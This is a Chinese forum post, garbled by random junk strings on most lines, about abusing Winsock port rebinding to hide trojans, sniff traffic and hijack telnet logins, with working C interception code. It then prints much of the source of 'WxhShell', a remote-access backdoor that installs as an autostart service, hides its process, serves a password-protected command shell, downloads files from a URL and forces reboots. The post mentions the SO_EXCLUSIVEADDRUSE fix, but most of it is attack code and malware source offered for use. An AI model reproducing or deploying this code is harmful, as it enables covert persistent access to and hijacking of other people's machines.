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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v%&f00  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jjvm<;lv  
"JVz v U]  
  saddr.sin_family = AF_INET; 5%?La`C9[  
P,iLqat  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )X\.Xr-6q  
* @G4i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5G){7]P+r"  
#X"\:yN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [ZURs3q  
/^uvY  
  这意味着什么?意味着可以进行如下的攻击: 2O9dU 5b  
~A8lvuw3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WGG|d)'@  
B0q![  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8t}=?:B+{  
gRdE6aIZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "MC&!AMv  
h%+8}uywZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9qXHdpb#g"  
M=o,Sav5*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1a4QWGpq  
+@%9pbM"z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V.Xz n  
rxa"ji!)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v_c'npC  
![abDT5![  
  #include <?qmB }Y  
  #include J-?\,N1R7  
  #include N>ct`a)BD/  
  #include    w,3`Xq@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !kASEjFz|f  
  int main() .&@|)u  
  { >w j7Y`  
  WORD wVersionRequested; jI;bVG  
  DWORD ret; O|y-nAZgU  
  WSADATA wsaData; tO[+O=d  
  BOOL val; GetUCb%1  
  SOCKADDR_IN saddr; nZ\,ZqV  
  SOCKADDR_IN scaddr; a' #-%!]  
  int err; Q(]-\L'  
  SOCKET s; &1Cq+YpI  
  SOCKET sc; K/\#FJno  
  int caddsize; ;xB"D0~,1  
  HANDLE mt; :R_{tQ-WG  
  DWORD tid;   K:y q^T7  
  wVersionRequested = MAKEWORD( 2, 2 ); j&T/.]dX&  
  err = WSAStartup( wVersionRequested, &wsaData ); N8D'<BUC  
  if ( err != 0 ) { a _  
  printf("error!WSAStartup failed!\n"); i+&= "Z@  
  return -1; ~d5"<`<^o  
  } _\]D<\St  
  saddr.sin_family = AF_INET; _"0n.JQg  
   y\0^c5}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 t_]UseP$RF  
CdaB.xk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >D:S)"  
  saddr.sin_port = htons(23); (sqS(xIY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ljt1:@SN(  
  { 3:Z(tM&-O  
  printf("error!socket failed!\n"); cC}s5`  
  return -1; @bqCs^U35  
  } ?sS'T7r v  
  val = TRUE; p*npY"}v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 YSa:"A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hq,;H40%/  
  { '|XP}V0I  
  printf("error!setsockopt failed!\n"); e/Q[%y.X  
  return -1; 5\4>H6  
  } @{CpC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :>3&"T.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c(Ha"tBJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rM=Hd/ki5  
nr-mf]W&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )<^ ~${$U  
  { ok6e=c '  
  ret=GetLastError(); wd#AA#J;*  
  printf("error!bind failed!\n"); /XMmE  
  return -1; GrQl3 Xi  
  } /pk; E$qv  
  listen(s,2); jQ^Ib]"K  
  while(1) bR8)s{p6  
  { SD.ze(P  
  caddsize = sizeof(scaddr); OT *W]f  
  //接受连接请求 /Hx0=I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w`7l ;7[  
  if(sc!=INVALID_SOCKET) c=b\9!hr_E  
  { YD+C1*c!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O,OGq0c  
  if(mt==NULL) ;XtDz  
  { bs`/k&'  
  printf("Thread Creat Failed!\n"); wcL0#[)  
  break; ~o2{Wn["  
  } Xj@Kt|&`k  
  } =0f8W=d:Vr  
  CloseHandle(mt); wlpbfO e/  
  } ):|)/ZiC'  
  closesocket(s); ?Jr<gn^D  
  WSACleanup(); /N^+a-.Qd  
  return 0; u?J(l)gd  
  }   CD tYj  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3)-#yOr  
  { ttKfZ0  
  SOCKET ss = (SOCKET)lpParam; hN:Z-el  
  SOCKET sc; lLDHx3+  
  unsigned char buf[4096]; iIF'!K=q  
  SOCKADDR_IN saddr; mY AFruN  
  long num; >L;O, {Px-  
  DWORD val; Ucy9fM  
  DWORD ret; Z*QRdB%,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N-Z 9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p{,fWk  
  saddr.sin_family = AF_INET; /<2_K4(-{4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0iB 1_)~  
  saddr.sin_port = htons(23); tQ|I$5jNJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y~:7l5C  
  { kL3=7t^ 1  
  printf("error!socket failed!\n"); & vIKNGJ^  
  return -1; a,E;R$[!  
  } jCl[!L5/1  
  val = 100; ^\6UTnS.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TSk6Q'L\v  
  { ;8v5 qz  
  ret = GetLastError(); ( 0h]<7  
  return -1; i~9)Hz;!  
  } Cn<kl^!Q-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |S8pq4eKJ_  
  { l^"G\ZVI  
  ret = GetLastError(); 8(I"C$D!k  
  return -1; z?aD Oh  
  } eo80L  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ( BGipX4  
  { w}i.$Qt  
  printf("error!socket connect failed!\n"); ={Hbx> p  
  closesocket(sc); Sce9R?II  
  closesocket(ss); yh)q96m-V=  
  return -1; o&O!Ur  
  } `2oi~^.  
  while(1) @hvq,[   
  { w&gHmi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;uDFd04w [  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +W1rm$Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k8JPu"R  
  num = recv(ss,buf,4096,0); o EN_,cUp  
  if(num>0) q ^gEA5  
  send(sc,buf,num,0); H:_`]X"  
  else if(num==0) RW)C<g  
  break; L;  ~=(  
  num = recv(sc,buf,4096,0); pi{ahuI#_o  
  if(num>0) *Tlv'E.M  
  send(ss,buf,num,0); 72 6y/o  
  else if(num==0) k?#6j1pn  
  break; 40E[cGz$*  
  } neBkwXF!  
  closesocket(ss); ;:4puv+]  
  closesocket(sc); '$zFGq }}  
  return 0 ; hMQ aT-v  
  } <b\urtoJ  
MI}D%n*  
qSd $$L^  
========================================================== t|m3b~Oyv  
r:cUAe7#  
下边附上一个代码,,WXhSHELL 1:t>}[Y  
m+=!Z|K  
========================================================== S`G\Cd;5  
xpk|?/6  
#include "stdafx.h" {;zPW!G  
k y98/6  
#include <stdio.h> c>SeOnf  
#include <string.h> ;GAYcVB  
#include <windows.h> W#[!8d35$  
#include <winsock2.h> 1rEP)66N  
#include <winsvc.h> Xwi&uyvU&  
#include <urlmon.h> AL0Rn e N  
Fk(5y)  
#pragma comment (lib, "Ws2_32.lib") Kf4z*5Veqr  
#pragma comment (lib, "urlmon.lib") !iw 'tHhR  
^~Sn{esA  
#define MAX_USER   100 // 最大客户端连接数 f+V':qz  
#define BUF_SOCK   200 // sock buffer "->:6Oe2   
#define KEY_BUFF   255 // 输入 buffer B (falmXJ  
||V:',#,W  
#define REBOOT     0   // 重启 -eMRxa>  
#define SHUTDOWN   1   // 关机 qAS^5|(b[  
Nt8(  
#define DEF_PORT   5000 // 监听端口 "x)DE,  
[XXN0+ /  
#define REG_LEN     16   // 注册表键长度 W<Lrfo&=Y]  
#define SVC_LEN     80   // NT服务名长度 g$b*#  
.IXwa,  
// 从dll定义API y#+o*(=fRE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {/<&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sFQ|lU"n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d%3BJ+J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ie"R,,c   
L ~w=O!  
// wxhshell配置信息 6{'6_4;Fv(  
struct WSCFG { 2XHk}M|  
  int ws_port;         // 监听端口 F0Hbklr  
  char ws_passstr[REG_LEN]; // 口令 &[kgrRF@HU  
  int ws_autoins;       // 安装标记, 1=yes 0=no Kxn7sL$]=F  
  char ws_regname[REG_LEN]; // 注册表键名 o3=kF  
  char ws_svcname[REG_LEN]; // 服务名 j,XKu5w)Oi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {rZ"cUm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WIm7p1U#V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <Xx\F56zp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I8?[@kg5b'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @nu/0+8h{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TXcKuo=  
YkX=n{^  
}; zwtsw[.  
]B4mm__  
// default Wxhshell configuration ~-d.3A $u  
struct WSCFG wscfg={DEF_PORT, iC-ABOOu{l  
    "xuhuanlingzhe", 4:$>,D\  
    1, #=(op?]  
    "Wxhshell", Ef.4.iDJrR  
    "Wxhshell", fXe-U='  
            "WxhShell Service", +`8)U3u0  
    "Wrsky Windows CmdShell Service", "N]o5d   
    "Please Input Your Password: ", (, "E9.  
  1, $8k_M   
  "http://www.wrsky.com/wxhshell.exe", keskD  
  "Wxhshell.exe" NrcCUZ .:N  
    }; @'@6vC  
SWpUVZyd  
// 消息定义模块 \BXVWE|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; or}*tSKX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V%lGJ]ZEa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :N*T2mP  
char *msg_ws_ext="\n\rExit."; =joXP$n^  
char *msg_ws_end="\n\rQuit."; j_@3a)[NY  
char *msg_ws_boot="\n\rReboot..."; K"7;Y#1g  
char *msg_ws_poff="\n\rShutdown..."; K/`RZ!  
char *msg_ws_down="\n\rSave to "; z :v, Vu  
v Lv@Mo  
char *msg_ws_err="\n\rErr!"; -G#k/Rz6  
char *msg_ws_ok="\n\rOK!"; sG2 3[t8  
5Q`n6x|  
char ExeFile[MAX_PATH]; (JW?azU  
int nUser = 0; -P>=WZu  
HANDLE handles[MAX_USER]; C+XZDY(=Z  
int OsIsNt; 4rG 7\  
1m;*fs  
SERVICE_STATUS       serviceStatus; *]R 0z|MW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CqK#O'\  
{yMA7W7]  
// 函数声明 l-}5@D[  
int Install(void); RJwIN,&1.  
int Uninstall(void); N+qLxk  
int DownloadFile(char *sURL, SOCKET wsh); "H<#91^|  
int Boot(int flag); NxO^VUD  
void HideProc(void); <0)ud)~u  
int GetOsVer(void); '-33iG  
int Wxhshell(SOCKET wsl); ?i2Wst  
void TalkWithClient(void *cs); wg<|@z5  
int CmdShell(SOCKET sock); R2THL  
int StartFromService(void); Wx$q:$h@q  
int StartWxhshell(LPSTR lpCmdLine); FJ8@b  
BK9x`Oo2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '<< ~wt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Uy5!H1u  
%@n8 ?l4  
// 数据结构和表定义 ir:~*|  
SERVICE_TABLE_ENTRY DispatchTable[] = P 4*MV  
{ ;+34g6  
{wscfg.ws_svcname, NTServiceMain}, ^z}lGu  
{NULL, NULL} ~49N  
}; /I'u/{KB  
9+ l3 $  
// 自我安装 e~.?:7t  
int Install(void) k_>Fw>Y  
{ <3=qLm  
  char svExeFile[MAX_PATH]; NLZZMr  
  HKEY key; DnsP7k.8T  
  strcpy(svExeFile,ExeFile); -{U>} Y)  
W^.-C  
// 如果是win9x系统,修改注册表设为自启动 ^7 bf8 ^`  
if(!OsIsNt) { )nHE$gVM s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q&7)vs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \UqS -j|  
  RegCloseKey(key); fTV|? :C{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q%k(M[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RE $3| z  
  RegCloseKey(key); |W*@}D  
  return 0; %=9yzIjbAt  
    } 5%?b5(mnD  
  } D&l ,SD  
} UlNfI}#X  
else { 1Dya?}3  
B$TChc3B  
// 如果是NT以上系统,安装为系统服务 @ Rx6 >52>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |4S?>e  
if (schSCManager!=0) !Nl.Vb  
{ 'nWs0iH.  
  SC_HANDLE schService = CreateService 3 t88AN=4  
  ( 51G=RYay9  
  schSCManager, c|}K_~l_  
  wscfg.ws_svcname, 0w(T^G hZ  
  wscfg.ws_svcdisp, [AZ aT  
  SERVICE_ALL_ACCESS, q@!'R{fu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "WbVCT'i  
  SERVICE_AUTO_START, n5+S"  
  SERVICE_ERROR_NORMAL, -}X?2Q  
  svExeFile, G/z\^Q  
  NULL, !3I(4?G,  
  NULL, daB l%a=  
  NULL, p/k<wCm6  
  NULL, poQdI?ed,  
  NULL mw(c[.*%  
  ); /pN'K5@  
  if (schService!=0) a We Bav}_  
  { ~z K@pFeH  
  CloseServiceHandle(schService); ihiuSF<NaQ  
  CloseServiceHandle(schSCManager); twtkH~`"Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Bhu@ 2KdA  
  strcat(svExeFile,wscfg.ws_svcname); u-QO>3oY6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2zKo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1<a@p}  
  RegCloseKey(key); Yn4)Zhkk  
  return 0; o)#q9Vk%b  
    } Seq]NkgY  
  } i#RElH  
  CloseServiceHandle(schSCManager); ~|'y+h89  
} w3<"g&n|  
} ~mK-8U4>K,  
f `y" a@  
return 1; $89ea*k  
} &{zwM |Q@?  
&I RA=nJ  
// 自我卸载 ZUXse1,  
int Uninstall(void) 4e+BqCriC*  
{ *5y W  
  HKEY key; n{64g+  
G(As%r]  
if(!OsIsNt) { GG_^K#*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XLZ j  
  RegDeleteValue(key,wscfg.ws_regname); B:?#l=FL  
  RegCloseKey(key); df4sOqU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U=F-] lD  
  RegDeleteValue(key,wscfg.ws_regname); CZJHE>  
  RegCloseKey(key); < TR/ `  
  return 0; }PI35i1!t  
  } LG=X)w)W4S  
} CF|moc:;  
} m<4s*q0\i  
else { V$dJmKg  
$5lW)q A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =[P%_v``  
if (schSCManager!=0) ~V2ajM1Z&O  
{ @PQrmn6w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5S%C~iB  
  if (schService!=0) ,!6M* |  
  { R:w %2Y  
  if(DeleteService(schService)!=0) { ImWXzg3@{  
  CloseServiceHandle(schService); jCTy:q]  
  CloseServiceHandle(schSCManager); As@ihB+(\  
  return 0; b/sOfQ  
  } h; 'W :P  
  CloseServiceHandle(schService); F0&~ ?2nG  
  } (PS$e~H s  
  CloseServiceHandle(schSCManager); vpm ]9>1[  
} *o02!EYge  
} H]_WFiW-9  
Nush`?]J"_  
return 1; Opv1B2  
} +_qh)HX  
ytjK++(T5  
// 从指定url下载文件 H\^VqNK"  
int DownloadFile(char *sURL, SOCKET wsh) m|]j'g?{}(  
{  3L%WVCB  
  HRESULT hr; ,b<9?PM  
char seps[]= "/"; of8mwnZR  
char *token; <ROpuY\!l  
char *file; hZAG (Z  
char myURL[MAX_PATH]; f}[H `OF  
char myFILE[MAX_PATH]; #P(l2(  
~J0,)_b%*  
strcpy(myURL,sURL); > P<z |8  
  token=strtok(myURL,seps); jg[5UTkcs  
  while(token!=NULL) Gn]d;5P=  
  { QXdaMc+Ck  
    file=token; "r8EC  
  token=strtok(NULL,seps); +XEjXH5K  
  } 0iYP  
nVxq72o@  
GetCurrentDirectory(MAX_PATH,myFILE); Rl_.;?v"!  
strcat(myFILE, "\\"); 8 +"10q-  
strcat(myFILE, file); /61by$E  
  send(wsh,myFILE,strlen(myFILE),0); LGIalf*7  
send(wsh,"...",3,0);  ispkj'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z'Kd^`mt 9  
  if(hr==S_OK) 'pan9PW  
return 0; XwcMt r*  
else NMXnrvS&  
return 1; hUVk54~l  
i{8]'fM  
} 16I&7=S,  
%=V"CJ$|  
// 系统电源模块 R N@^j  
int Boot(int flag) 8N% z9b  
{ 7p^@;@V  
  HANDLE hToken; ~<n(y-P^  
  TOKEN_PRIVILEGES tkp; >;)2NrJV  
h$70H^r  
  if(OsIsNt) { 9b1?W?"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bi e?M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SD?BM-&~  
    tkp.PrivilegeCount = 1; Y}ng_c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e RA7i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dFQ o  
if(flag==REBOOT) { `gt:gx>a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !"Qb}g  
  return 0; 7Rnm%8?T  
} F\5X7 ditD  
else { : (gZgMT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #+9rjq:v#]  
  return 0; ]}kI)34/  
} \yNQQ$B  
  } lW p~t  
  else { EYkj@ .,  
if(flag==REBOOT) { wf?u (3/%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n@ 4@,  
  return 0; 4r\*@rq  
} eOt%xTx  
else { Jen%}\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Uo2+:p  
  return 0; Vvyj  
} QC{u|  
} |8H_-n  
U;g S[8,p  
return 1; Sk\n;mL:  
} 4qt+uNe!  
-0$:|p?@^  
// win9x进程隐藏模块 'w(y J  
void HideProc(void) ;K_}A4K  
{ JWWYVl VC  
\PbvN\L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3?2<W EYr  
  if ( hKernel != NULL ) ?q _^Rj$  
  { ocF>LR%P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _.{zpF=j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `FZF2.N  
    FreeLibrary(hKernel); %zzYleJ!]  
  } ;WD,x:>blO  
f^p^Y F+  
return; GW3>&j_!d  
} xYI;V7  
.n`( X#,*l  
// 获取操作系统版本 :?=Q39O9  
int GetOsVer(void) XA)'=L!^  
{ mG2VZ>  
  OSVERSIONINFO winfo; N5? IpE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~-_i  
  GetVersionEx(&winfo); gWOt]D&#/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #{$1z;i?f  
  return 1; sw$2d  
  else 5 6DoO'  
  return 0; URA0ey`  
} Z~p!C/B  
Fu7M0X'p  
// 客户端句柄模块 @QdnjXII*  
int Wxhshell(SOCKET wsl) +@ MPQv  
{ s\gp5MT  
  SOCKET wsh; nO{ x^b <  
  struct sockaddr_in client; nA_%2F'W}  
  DWORD myID; uvnI>gv  
pYo=oI  
  while(nUser<MAX_USER) Izn T|l^  
{ ~~nqU pK?v  
  int nSize=sizeof(client); JJ ?I>S N!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?^u^im  
  if(wsh==INVALID_SOCKET) return 1; u7s"0f`  
+-BwQ{92[:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (}smW_ `5  
if(handles[nUser]==0) [Atc "X$  
  closesocket(wsh); Nu^p  
else 83 I-X95  
  nUser++; pJBg?D  
  } +C+<BzR~A.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ez\eOH6  
'\"G{jU@  
  return 0; O9s?h3  
} icgJ;Q 5  
A]o4Mf0>I  
// 关闭 socket Bz /@c)  
void CloseIt(SOCKET wsh) SV.z>p  
{ q0&$7GH4  
closesocket(wsh); G:IP? z]  
nUser--; j1*f]va  
ExitThread(0); Pbn!KX~F~  
} h|bT)!|  
w0w1PE-V=  
// 客户端请求句柄 h3!$r~T!a:  
void TalkWithClient(void *cs) PFrfd_s{>\  
{ ]$A(9Pn"  
~ #PLAP3-  
  SOCKET wsh=(SOCKET)cs; kn"q:aD  
  char pwd[SVC_LEN]; XNehPZYS  
  char cmd[KEY_BUFF]; C <B<o[:H  
char chr[1]; $,fy$ Qk,S  
int i,j; Xg7|JS!  
6N~q`;p0  
  while (nUser < MAX_USER) { AjkW0FB:1  
V'DA[{\*  
if(wscfg.ws_passstr) { UZ2TqR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DinPxtT?a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a.2L*>p  
  //ZeroMemory(pwd,KEY_BUFF); @1-F^G%p8  
      i=0; z6*<V5<7  
  while(i<SVC_LEN) { 3j Z6kfj  
}V]R+%:w@  
  // 设置超时 g}x(hF  
  fd_set FdRead; YXW%]Uy+  
  struct timeval TimeOut; (MLwQiop  
  FD_ZERO(&FdRead); Y?d9l  
  FD_SET(wsh,&FdRead); hK|j6x f.o  
  TimeOut.tv_sec=8; #%lo;W~IY  
  TimeOut.tv_usec=0; +4))/` DA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !bnyJA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O|kOI?f  
!RW `3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @? c2)0  
  pwd=chr[0]; *L4`$@l8  
  if(chr[0]==0xd || chr[0]==0xa) { Lel|,mc`k2  
  pwd=0; 4_/?:$KO  
  break; #V,R >0"  
  } K/=|8+IDL  
  i++; "Gb1K9A im  
    } r^Zg-|gr  
zfA GtT <  
  // 如果是非法用户,关闭 socket a^U~0i@[S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~;]W T  
} nkfZiyx  
l{j~Q^U})  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f+_h !j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z?5V4F:f  
=O).Lx2J  
while(1) { "A$!, PX6  
t. ='/`!N  
  ZeroMemory(cmd,KEY_BUFF); #S]ER907  
s$D ^>0  
      // 自动支持客户端 telnet标准   4JGtI*%5lq  
  j=0; /U&Opo {aO  
  while(j<KEY_BUFF) { 9h4({EE2t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aJ") <_+  
  cmd[j]=chr[0]; G` XC  
  if(chr[0]==0xa || chr[0]==0xd) { o1cErI&q"  
  cmd[j]=0; ~Wo)?q8UY,  
  break; Y_woKc*  
  } G3G#ep~)vC  
  j++; F8:vDv  
    } Zwz&rIQpT  
",7Q   
  // 下载文件 *!s;"U  
  if(strstr(cmd,"http://")) { l*\y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PYbVy<xc  
  if(DownloadFile(cmd,wsh)) i0$Bx>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q/>{f0  
  else Od4E x;F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Zei0O  
  } Ms~{9?  
  else { 8_<4-<}P:  
9l,a^@Y:  
    switch(cmd[0]) { Qham^  
  +t5U.No  
  // 帮助 >Cw<BIF  
  case '?': { VCXJwVb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }by;F9&B  
    break; ^?7`;/  
  } ;r_F[E2z  
  // 安装 Dn&D!B  
  case 'i': { #]nx!*JNZ  
    if(Install()) 0U%f)mG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X/iT)R]b  
    else C{gyj}5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v\m ]A1  
    break; =R*qP;#  
    } 79`AM X[b  
  // 卸载 \b%kf99  
  case 'r': { ^6_e=jIN  
    if(Uninstall()) UfN&v >8f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ag{iq(X  
    else d&ex5CU5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  J5^'HU3  
    break; &boOtl^  
    } Zt.'K(]2h  
  // 显示 wxhshell 所在路径 Y. ,Kl~  
  case 'p': { j@YU|-\qh  
    char svExeFile[MAX_PATH]; .C8PitS  
    strcpy(svExeFile,"\n\r"); f7m%|v!  
      strcat(svExeFile,ExeFile); B!vmQR*1  
        send(wsh,svExeFile,strlen(svExeFile),0);  IiY/(N+J  
    break; dZi"$ g  
    } E_vq  
  // 重启 s2Mb[#:a"  
  case 'b': { { ^cV lC_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); su*'d:L  
    if(Boot(REBOOT)) %Ev4]}2C1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tmQH|'>>  
    else { "jG}B.l=,  
    closesocket(wsh); G6T_O  
    ExitThread(0); xuqv6b.  
    } a)wJT`xu  
    break; .zi_[  
    }  o4|M0  
  // 关机 !o:f$6EA~C  
  case 'd': { ]H`1F1=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6@rMtQfI  
